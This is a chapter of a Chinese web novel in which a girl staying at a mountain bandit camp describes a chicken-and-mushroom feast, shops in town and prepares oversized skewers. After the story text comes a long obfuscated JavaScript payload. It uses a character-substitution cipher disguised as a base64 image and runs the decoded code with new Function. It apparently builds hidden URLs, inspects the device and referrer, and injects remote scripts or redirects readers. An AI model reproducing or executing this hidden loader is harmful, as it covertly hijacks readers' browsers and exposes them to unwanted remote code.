078山寨串串(1 / 2)

夹一块菌子,那菌子吸满了鸡汤,一口下去,鲜得人恨不得把舌头都吞下去。

至于鸡肉更不用说了,都是山上散养的走地鸡,绿色健康,那鸡肉紧实有嚼劲,口感美妙至极,鸡肉丝丝分明,又是现宰现做得,新鲜得很。

吃了菌子和鸡,再来一碗鸡汤,暖呼呼的下胃,只觉得浑身都跟被熨开了似的舒坦。

再看另一道肉菜,做的是干煸兔丁。

兔子肉被切成小块小块的,煸得又干又香的,但并不显得柴,反而恰到好处,外干里嫩的,让人吃着根本停不下来。

这兔子肉拿来下酒最妙了,越吃越香的,连带着锅里那干辣椒皮都可以就着一起吃,配菜的土豆丁和黄瓜丁吃起来也别有风味。

别说嘴馋的小孩子们了,就连老婆子和老汉们都没有停过筷子。

一顿饭在众人的大快朵颐中,很快就实现了光盘行动。

几个皮实的男孩子甚至连盘子都要端起来舔一遍,这可逗乐了众人,连连笑骂他们:“没出息的小崽子,瞧你这馋样!”

馋嘴的小崽子只是嘿嘿一笑,呲着一口大白牙笑得欢快。

他们吃得饱饱的,自然也没忘了给李婉娘留着饭菜。

菌子炖鸡留了一大碗,还额外把最好的鸡汤部分给她留了一碗。

这坐月子的妇人多喝点鸡汤,对身体有好处,也方便下奶。

干煸兔肉也给她留了一小碟,加上给她煮的绿豆粥,一起端了过去。

林大山伺候着李婉娘吃饭,一时之间倒也没有林糯糯用武之地。

于是她就和林言去打扫空置的房间了,他们还要在这里少说住个十天半月的,可不是要把自己住的屋子好好捯饬一番,不能委屈了自己。

弄完差不多也天色渐晚了,林糯糯吃饱喝足,只想早早歇息,万事等明天一早再说。

这一夜林糯糯睡得颇为舒服。

第二天一早,她迷迷瞪瞪的自然醒了过来,穿好衣服后走到屋外,却见王大带着几个男人,似乎要下山的样子。

“咱们去镇子上买点肉和米,寨子里快没存货了,而且你娘才生了娃,也该买点东西给她好好补补。”王大注意到林糯糯的眸光,便出声解释道。

林糯糯点点头,将漱口水吐出来,连忙举了举手,“我跟你们一起去。”

说着,林糯糯正打算去找林言,却见少年已经从屋内出来了。

“林言,咱们和大当家的一起去镇子上采买点东西回来!”

林言停在林糯糯身前,定定注视了她两秒,在林糯糯满头雾水的时候,少年才颔首应下。

林糯糯觉得莫名其妙。

看着她做什么?

【糯糯以前都是叫我哥哥的。】

听到久违的心声,林糯糯好笑不已。

她一时嘴快忘记了。

其实按理说她两辈子加起来比林言还大,他叫她姐姐还差不多。

平常叫哥哥,只是装乖讨喜罢了。

有时候一疏忽,可不是暴露本性了。

林糯糯故作无辜,看天看地,双手背在身后,笑得格外讨喜,企图萌混过关。

好在林言也没说什么,只是拉着她一起往马车走去。

马车里头最多坐四个人,这四个人如果都是和王大这般高大的壮汉的话,那就有些太过拥挤了。

但为了方便搬东西,王大还是叫上了两个弟兄。

林言和林糯糯坐在外头,把车厢的空间留给了王大他们几个。

本来王大还怪不好意思的,但他们的确不会驾驶马车,所以最终只能妥协。

有林言这个经验老道的驾车师傅在,一路畅行无阻,没多久就到了邻镇上。

除了给李婉娘买她所需的东西,林糯糯还买了一堆吃的喝的。

李婉娘正是需要好好进补的时候,吃食方面可不能落下。

除此之外,林糯糯还买了自家人最喜欢的猪大肠。

当然,这东西也是买肉被老板顺手附赠的。

饶是打包了好几层,再用脑袋大的叶子包裹着,那一路上,猪大肠的味道还是飘散了出来,腥臭难闻。

王大全程都是一副想吐又不敢吐的样子。

他不明白,林糯糯买猪大肠做什么?

这东西说难听点,狗都嫌腥臊得慌,狗都不吃。

难不成要拿回去他们自己吃?

王大打了个寒颤。

哪怕不吃肉,他也不要吃这个玩意儿!

林糯糯感受到王大怀疑的眼神,笑而不语。

现在有多嫌弃,到时候吃的时候,就会觉得有多香。

林糯糯大包小包的买回去,准备和山寨里的人一起,弄个串串吃。

人太多了,吃起火锅来也不大合适,不如吃串串来得方便,一串串的,谁想吃就能拿走把食物撸到碗里,不然大家都挤在锅旁边挑来挑去的,位置上也不够。

食材都买了回来,由那些妇人和老婆子们帮着清洗处理,男人们则负责去砍竹子,削成一根根竹签签。

林糯糯要做的是放大版串串,不像现代串串那般一根根小小的,他们现做竹签,也没那么多功夫和心思做得那么小那么精细,只能往大了做。

做好过后再将表面削得光滑平整,避免到时候有竹刺冒出来,吃的时候扎嘴。

比起处理食材,这弄竹签才是更费功夫的事情呢。

至于同样费工夫的,还有清洗猪大肠的这个活计。

不过林大山已经轻车熟路,早有经验,他坐在一旁去清洗猪大肠,动作麻利,洗得又干净。

这可是他们家平均一个月就吃一次大肠,而洗出来的经验!

肥肠若要好吃,需得先卤过一遍。

因此那洗好的肥肠就被放进锅里开始卤炖。

另一边,竹签做好了,现在就可以开始串食物了。

一些小孩子们见着有趣,也想来帮忙,林糯糯问过他们爹娘的意见,让他们看着点孩子,免得到时候串的时候不小心,那锋利的竹签尖子把手给扎破了。

大家连连应下。

林糯糯花大价钱买了牛肉回来,还有几副牛胃,一并处理好了。

林糯糯前世吃串串,那串串上面的牛肉都是小块小块的,指甲盖那般的大小。

虽然好吃入味,可是终归是不大满足。

因此这放大版的签子上,串的牛肉,可不是指甲盖大小,而是快有半个巴掌大了。

这么大大的一片,吃起来才满足。

而且这肉本来煮熟了就会缩一点水,看着大,其实最后吃到嘴里也没多大一块了。

一大片一大片的牛肉被腌制过后,串在了竹签上。

牛肉片被切得厚薄均匀,整体较薄。

若是太厚了,那煮出来的味道怕是没那么好了,也难以煮熟,因此不能一味贪大。

这牛肉根据腌料不同,还做了各种各样口味的。

有麻辣口味的、也有胡椒口味的,还有里头裹着香菜、裹着茴香、裹着脆脆的野菜根的牛肉卷,多种多样的。

除了牛肉,那毛肚一片片巴掌大小,都被串在了竹签上。

毛肚自由!

巴掌大的毛肚,终于不再是一小块一小块或是一小根一小根的那样了。

还有和大肠一起卤的鸡蛋,出锅后剥了壳,也串了几串。

大肠出锅后切上几刀,分成数段,将其串在竹签上。

除此之外,鸡腿、鸡翅、五花肉片……一样样都少不了。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();